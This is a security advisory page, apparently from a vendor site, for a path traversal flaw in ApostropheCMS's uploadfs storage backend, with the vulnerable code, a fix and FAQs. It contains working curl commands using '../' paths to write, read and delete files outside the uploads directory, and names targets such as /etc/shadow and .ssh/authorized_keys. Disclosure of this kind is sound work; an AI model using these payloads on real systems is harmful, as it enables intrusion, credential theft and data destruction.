Summary
ApostropheCMS: Path traversal in uploadfs
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files
https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
Impact
| Capability | Risk |
|---|---|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-113651 has a CVSS score of 3.3 (Low). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.28.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
Frequently Asked Questions
- What is CVE-2026-113651? CVE-2026-113651 is a low-severity path traversal vulnerability in uploadfs (npm), affecting versions < 1.28.0. It is fixed in 1.28.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-113651? CVE-2026-113651 has a CVSS score of 3.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of uploadfs are affected by CVE-2026-113651? uploadfs (npm) versions < 1.28.0 is affected.
- Is there a fix for CVE-2026-113651? Yes. CVE-2026-113651 is fixed in 1.28.0. Upgrade to this version or later.
- Is CVE-2026-113651 exploitable, and should I be worried? Whether CVE-2026-113651 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113651 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113651? Upgrade
uploadfsto 1.28.0 or later.